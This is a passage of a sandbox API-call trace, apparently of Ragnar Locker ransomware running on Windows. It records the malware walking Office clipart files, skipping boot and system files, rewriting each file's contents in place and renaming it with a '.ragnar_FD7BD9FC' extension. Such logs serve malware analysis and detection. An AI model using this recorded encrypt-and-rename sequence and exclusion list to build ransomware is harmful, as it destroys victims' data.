lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.722] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00199_.WMF" | out: lpString1="SO00199_.WMF") returned="SO00199_.WMF" [0090.722] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF") returned=".WMF" [0090.722] lstrcmpiW (lpString1="SO00199_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.722] lstrcmpiW (lpString1="SO00199_.WMF", lpString2="autorun.inf") returned 1 [0090.722] lstrcmpiW (lpString1="SO00199_.WMF", lpString2="boot.ini") returned 1 [0090.722] lstrcmpiW (lpString1="SO00199_.WMF", lpString2="bootfont.bin") returned 1 [0090.722] lstrcmpiW (lpString1="SO00199_.WMF", lpString2="bootsect.bak") returned 1 [0090.722] lstrcmpiW (lpString1="SO00199_.WMF", lpString2="bootmgr") returned 1 [0090.722] lstrcmpiW (lpString1="SO00199_.WMF", lpString2="bootmgr.efi") returned 1 [0090.722] lstrcmpiW (lpString1="SO00199_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.722] lstrcmpiW (lpString1="SO00199_.WMF", lpString2="desktop.ini") returned 1 [0090.722] lstrcmpiW (lpString1="SO00199_.WMF", lpString2="iconcache.db") returned 1 [0090.722] lstrcmpiW (lpString1="SO00199_.WMF", lpString2="ntldr") returned 1 [0090.722] lstrcmpiW (lpString1="SO00199_.WMF", lpString2="ntuser.dat") returned 1 [0090.722] lstrcmpiW (lpString1="SO00199_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.722] lstrcmpiW (lpString1="SO00199_.WMF", lpString2="ntuser.ini") returned 1 [0090.722] lstrcmpiW (lpString1="SO00199_.WMF", lpString2="thumbs.db") returned -1 [0090.722] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.722] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.722] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.722] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.722] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.722] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.722] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf")) returned 0x20 [0090.723] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.723] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5630) returned 1 [0090.723] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15f5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.723] GetProcessHeap () returned 0x580000 [0090.723] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.723] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.725] VirtualAlloc (lpAddress=0x0, dwSize=0x15fe, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.725] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.725] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.725] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x15fe, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x15fe, lpOverlapped=0x0) returned 1 [0090.726] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.726] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x15fe, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.726] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x15fe, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x15fe, lpOverlapped=0x0) returned 1 [0090.726] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x15fe, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.726] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.726] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x15fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.726] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.726] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.726] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.726] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.726] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.726] GetProcessHeap () returned 0x580000 [0090.726] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.727] CloseHandle (hObject=0xf4) returned 1 [0090.727] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" [0090.727] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF.ragnar_FD7BD9FC" [0090.727] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00199_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00199_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.727] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16b4eb00, ftCreationTime.dwHighDateTime=0x1bd4aea, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x16b4eb00, ftLastWriteTime.dwHighDateTime=0x1bd4aea, nFileSizeHigh=0x0, nFileSizeLow=0x2926, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00200_.WMF", cAlternateFileName="")) returned 1 [0090.727] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.728] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00200_.WMF" | out: lpString1="SO00200_.WMF") returned="SO00200_.WMF" [0090.728] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF") returned=".WMF" [0090.728] lstrcmpiW (lpString1="SO00200_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.728] lstrcmpiW (lpString1="SO00200_.WMF", lpString2="autorun.inf") returned 1 [0090.728] lstrcmpiW (lpString1="SO00200_.WMF", lpString2="boot.ini") returned 1 [0090.728] lstrcmpiW (lpString1="SO00200_.WMF", lpString2="bootfont.bin") returned 1 [0090.728] lstrcmpiW (lpString1="SO00200_.WMF", lpString2="bootsect.bak") returned 1 [0090.728] lstrcmpiW (lpString1="SO00200_.WMF", lpString2="bootmgr") returned 1 [0090.728] lstrcmpiW (lpString1="SO00200_.WMF", lpString2="bootmgr.efi") returned 1 [0090.728] lstrcmpiW (lpString1="SO00200_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.728] lstrcmpiW (lpString1="SO00200_.WMF", lpString2="desktop.ini") returned 1 [0090.728] lstrcmpiW (lpString1="SO00200_.WMF", lpString2="iconcache.db") returned 1 [0090.728] lstrcmpiW (lpString1="SO00200_.WMF", lpString2="ntldr") returned 1 [0090.728] lstrcmpiW (lpString1="SO00200_.WMF", lpString2="ntuser.dat") returned 1 [0090.728] lstrcmpiW (lpString1="SO00200_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.728] lstrcmpiW (lpString1="SO00200_.WMF", lpString2="ntuser.ini") returned 1 [0090.728] lstrcmpiW (lpString1="SO00200_.WMF", lpString2="thumbs.db") returned -1 [0090.728] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.728] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.728] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.728] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.728] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.728] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.728] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf")) returned 0x20 [0090.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.729] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10534) returned 1 [0090.729] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x291d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.729] GetProcessHeap () returned 0x580000 [0090.729] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.729] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.731] VirtualAlloc (lpAddress=0x0, dwSize=0x2926, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.731] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.731] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.731] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2926, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2926, lpOverlapped=0x0) returned 1 [0090.732] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.732] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2926, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.732] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2926, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2926, lpOverlapped=0x0) returned 1 [0090.732] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2926, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.733] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.733] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2926, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.733] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.733] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.733] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.733] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.733] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.733] GetProcessHeap () returned 0x580000 [0090.733] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.733] CloseHandle (hObject=0xf4) returned 1 [0090.733] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF" [0090.733] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF.ragnar_FD7BD9FC" [0090.733] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00200_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00200_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.734] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd90f00, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x5aa18b10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd90f00, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x2ea0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00208_.WMF", cAlternateFileName="")) returned 1 [0090.734] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.734] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00208_.WMF" | out: lpString1="SO00208_.WMF") returned="SO00208_.WMF" [0090.734] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF") returned=".WMF" [0090.734] lstrcmpiW (lpString1="SO00208_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.734] lstrcmpiW (lpString1="SO00208_.WMF", lpString2="autorun.inf") returned 1 [0090.734] lstrcmpiW (lpString1="SO00208_.WMF", lpString2="boot.ini") returned 1 [0090.734] lstrcmpiW (lpString1="SO00208_.WMF", lpString2="bootfont.bin") returned 1 [0090.734] lstrcmpiW (lpString1="SO00208_.WMF", lpString2="bootsect.bak") returned 1 [0090.734] lstrcmpiW (lpString1="SO00208_.WMF", lpString2="bootmgr") returned 1 [0090.734] lstrcmpiW (lpString1="SO00208_.WMF", lpString2="bootmgr.efi") returned 1 [0090.734] lstrcmpiW (lpString1="SO00208_.WMF", lpString2="bootmgfw.efi") returned 1 [0090.734] lstrcmpiW (lpString1="SO00208_.WMF", lpString2="desktop.ini") returned 1 [0090.734] lstrcmpiW (lpString1="SO00208_.WMF", lpString2="iconcache.db") returned 1 [0090.734] lstrcmpiW (lpString1="SO00208_.WMF", lpString2="ntldr") returned 1 [0090.734] lstrcmpiW (lpString1="SO00208_.WMF", lpString2="ntuser.dat") returned 1 [0090.735] lstrcmpiW (lpString1="SO00208_.WMF", lpString2="ntuser.dat.log") returned 1 [0090.735] lstrcmpiW (lpString1="SO00208_.WMF", lpString2="ntuser.ini") returned 1 [0090.735] lstrcmpiW (lpString1="SO00208_.WMF", lpString2="thumbs.db") returned -1 [0090.735] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0090.735] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0090.735] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0090.735] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0090.735] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0090.735] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0090.735] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0090.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf")) returned 0x20 [0090.735] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0090.735] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11936) returned 1 [0090.735] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2e97, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.735] GetProcessHeap () returned 0x580000 [0090.735] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0090.736] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0090.737] VirtualAlloc (lpAddress=0x0, dwSize=0x2ea0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0090.737] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.737] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0090.737] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2ea0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2ea0, lpOverlapped=0x0) returned 1 [0090.738] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0090.738] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2ea0, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.738] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2ea0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2ea0, lpOverlapped=0x0) returned 1 [0090.738] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2ea0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.738] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0090.739] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2ea0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0090.739] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0090.739] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.739] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0090.739] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0090.739] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0090.739] GetProcessHeap () returned 0x580000 [0090.739] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0090.739] CloseHandle (hObject=0xf4) returned 1 [0090.739] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" [0090.739] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF.ragnar_FD7BD9FC" [0090.739] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00208_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00208_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0090.740] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b20100, ftCreationTime.dwHighDateTime=0x1bd4b14, ftLastAccessTime.dwLowDateTime=0x6d30c390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b20100, ftLastWriteTime.dwHighDateTime=0x1bd4b14, nFileSizeHigh=0x0, nFileSizeLow=0x4f72, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO00212_.WMF", cAlternateFileName="")) returned 1 [0090.740] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0090.740] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO00212_.WMF" | out: lpString1="SO00212_.WMF") returned="SO00212_.WMF" [0090.740] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00212_.WMF") returned=".WMF" [0090.740] lstrcmpiW (lpString1="SO00212_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0090.740] lstrcmpiW (lpString1="SO00212_.WMF", lpString2="autorun.inf") returned 1 [0090.740] lstrcmpiW (lpString1="SO00212_.WMF", lpString2="boot.ini") returned 1 [0090.740] lstrcmpiW (lpString1="SO00212_.WMF", lpString2="bootfont.bin") returned 1 [0090.740] lstrcmpiW (lpString1="SO00212_.WMF", lpString2="bootsect.bak") returned 1 [0090.740] lstrcmpiW (lpString1="SO00212_.WMF", lpString2="bootmgr") returned 1 [0090.740] 